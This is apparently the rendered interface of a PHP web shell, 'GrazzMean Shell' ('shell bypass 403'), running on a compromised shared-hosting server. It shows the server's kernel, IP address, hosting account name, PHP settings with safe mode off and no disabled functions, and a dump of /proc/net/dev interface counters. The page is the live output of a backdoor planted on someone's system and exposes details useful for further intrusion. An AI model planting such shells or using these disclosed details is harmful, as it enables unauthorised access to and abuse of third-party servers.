shell bypass 403

GrazzMean Shell

: /proc/net/ [ dr-xr-xr-x ]
Uname: Linux server230.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 8.1.32 [ PHP INFO ] PHP os: Linux
Server Ip: 198.54.115.51
Your Ip: 216.73.216.114
User: myflzuab (636) | Group: myflzuab (635)
Safe Mode: OFF
Disable Function:
NONE

name : dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 17764061618862 7738215781    0    0    0     0          0         0 17764061618862 7738215781    0    0    0     0       0          0
  eth0:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth1:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3: 2716222044643 6529113120    0 8741472 8741472     0          0   7333018 11844752089487 10936982262    0    0    0     0       0          0
  eth4:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth5: 2677170823729 6224183877    0 6644637 6644637     0          0   7312398 7930695545351 7968683352    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0   137948    1970    0    0    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 5393392868372 12753296997    0 15386109 15386109     0          0  14645416 19775447634838 18905665614    0    0    0     0       0          0
bond0.1000: 5017356020114 10511404565    0    0    0     0          0     66623 16209179916345 10200668902    0    0    0     0       0          0
bond0.999: 105033274153 464439079    0    0    0     0          0     64628 3025546760527 213599505    0    0    0     0       0          0
© 2025 GrazzMean